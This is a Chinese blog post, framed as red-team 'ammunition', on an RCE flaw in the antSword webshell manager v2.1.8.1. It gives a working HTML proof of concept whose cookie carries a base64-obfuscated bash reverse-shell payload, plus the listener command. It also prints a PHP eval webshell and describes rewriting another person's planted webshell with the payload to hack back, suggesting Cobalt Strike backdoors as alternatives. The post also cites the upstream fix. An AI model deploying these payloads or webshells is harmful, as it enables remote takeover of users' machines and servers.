«

HW弹药库之你的蚁剑shell还是你的shell吗?

时间:2020-9-7 00:48     作者:admin     分类: 技术文章


HW弹药库之你的蚁剑 shell 还是你的 shell 吗?可能从你的小宝贝变成了小叛徒哦!

——蚁剑 v2.1.8.1 查看站点 cookie html解析未过滤漏洞可反向 RCE

shell_test.png

0X0:背景

说来我等菜鸡是不会也没想过去审计这些工具源码,哪怕是开源的,都是拿来主义,大部分看官也是吧。

但是我这个人对于情报搜集特别感兴趣!时常监控一些开源项目或者官网的commit或者更新公告,这不前段时间就看到了芋头师傅(leohearts)提交了一个issue 包含了我的监控关键字 RCE

rce_issues.png

我当时就看了,当时复现了下,但是没有记录,等着 Medicean 师傅修好了我再发,前天,终于修了!距离提交的时间是十一天过后,可能师傅工作比较忙吧!

0X1:复现环节

打开我们的主角-antSword ,在关于程序里面可以看到版本为 v2.1.8.1,下面开始测试,首先在本地PHP环境目录写一个html文件,内容为:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3>
    <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script>
</body>
</html>

然后在 antSword 里面添加我们的本地测试URL,密码 连接类型这些随便写,地址写对了就行

add_shell.png

添加好了之后,在本地使用 NC 监听 nc -lv 666 因为上面的 base64 编码后的就是反弹 shell 到我们的666端口,不多说,不懂得 Google

然后我们再用 antSword 右键的 查看站点(英文的为 View Site)即可触发获得一个 shell

view_site.png

看一下 Medicean 师傅的 commit 极了可以看到修复的方式是在 cookie 取值的部分添加了 noxss 方法来进行了 XSS 过滤

fix_256.png

0X2:漏洞利用

复现完毕后我就在思考,能不能借此做点小动作?答案是可以的!

想一下,本身是 html格式的URL地址,除了故意这么去复现的查看站点,很少有人拿到shell后去这么干!除非 shell 需要设置 cookie,从 cookie 里取值,这个时候就很容易想到蚁剑的 AES shell 需要设置 cookie ,那就有利用的可能了!

有两种情况,第一种是本身就是 PHP 的 shell ,如果 黑客的 webshell 是使用的 蚁剑的 AES webshell ,基本代码如下:

<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>

假如黑客 webshell 如上 名为 shell.php ,我们可以把他的 shell 改为如下内容:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3>
    <?php
    @session_start();
    $pwd='ant';
    $key=@substr(str_pad(session_id(),16,'a'),0,16);
    @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
    ?>
    <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script>
</body>
</html>

直接把他的 shell 改为 html 和 PHP 代码混写!

aes_shell_rce.png

因为 PHP 本身就可以这么写,而且可以同时执行 PHP 代码和 html 代码。

当然,真实情况下我们要做的隐蔽点 把 没必要的 标题和 H3 这些丢弃。改写后的 shell 如何让黑客再次使用 查看站点 功能来获取 cookie 这是个问题,需要让他原本保存的 cookie 失效,比如重启 PHP 清除缓存 等方法尝试,假设你达成了如上条件,成功清除了 黑客 shell cookie ,那么接下来就是他 连接 shell 发现连接不上,打开 shell 地址发现还在,可能会使用 查看站点的功能来 获取cookie ,就可以顺利的 获得一个反向shell。

shell_rce.png

测试是在 Mac 环境下测试,可以根据情况修改需要执行的操作,比如直接执行 CS 后门或者 PS下载执行 等等。

0X3:总结

这个漏洞很鸡肋!

其一:需要使用 查看站点功能;

其二:需要让之前的shell cookie 失效;

其三:配合特定的环境,比如解析漏洞或者.htaccess

但是也是一种思路,说不定你就可以借此反日 大黑阔!哈哈哈。各位朋友,使用工具须谨慎!说不定还要未公开的 XXday 等着你上钩呢!最起码 把工作和生活用电脑环境区分开,使用个虚拟机,虚拟机一定要开启自动升级,保持最新版,虚拟机里最好再套两层代理,保护自己,保护大家!

参考连接:

https://github.com/AntSwordProject/antSword/issues/256

https://github.com/AntSwordProject/antSword/commit/0d5b8b7c4f5f9520b0cacb7306beb190efa19881

标签: 攻击 渗透测试 getshell rce

版权所有:Mrxn's Blog
文章标题:HW弹药库之你的蚁剑shell还是你的shell吗?
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读
评论:
avatar
阿Q博客 2020-09-09 22:26
#屏蔽内容#